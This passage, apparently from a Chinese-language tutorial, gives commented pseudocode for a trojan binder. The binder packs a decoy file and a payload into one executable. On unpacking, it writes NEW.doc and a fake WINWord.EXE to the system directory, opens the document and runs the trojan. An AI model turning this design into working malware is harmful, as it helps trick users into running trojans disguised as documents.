| Bind_Files()
{
_stat(my_name, &ST);//获取自身文件伪装信息
fread(buf, 1, modify_data.my_length, myself);//储存自身文件信息到缓冲区
out = fopen("xicao.exe", "wb");//创建最终合成文件
fwrite(buf, 1, bytesin, out);//写入第一个要伪装的文件数据
fwrite(buf, 1, bytesin, out);//写入第二个要伪装的文件数据
}
另一个重要的函数就是Unbind_and_Run(),它负责读数据并运行捆绑的文件。伪代码如下:
Unbind_and_Run()
{
GetSystemDirectory(chSystemDir,MAX_PATH);//将文件在系统目录中展开
out =fopen(strSystemDir + "\\NEW.doc", "wb"); //创建第一个伪装的文件
out =fopen(strSystemDir + "\\WINWord.EXE", "wb"); //创建第二个伪装的文件
HINSTANCE result =ShellExecute(NULL, _T("open"),strSystemDir + "\\NEW.doc", NULL,NULL, SW_SHOW);//打开WROD
Create_Process(strSystemDir + "\\WINWord.EXE");//运行木马文件
} |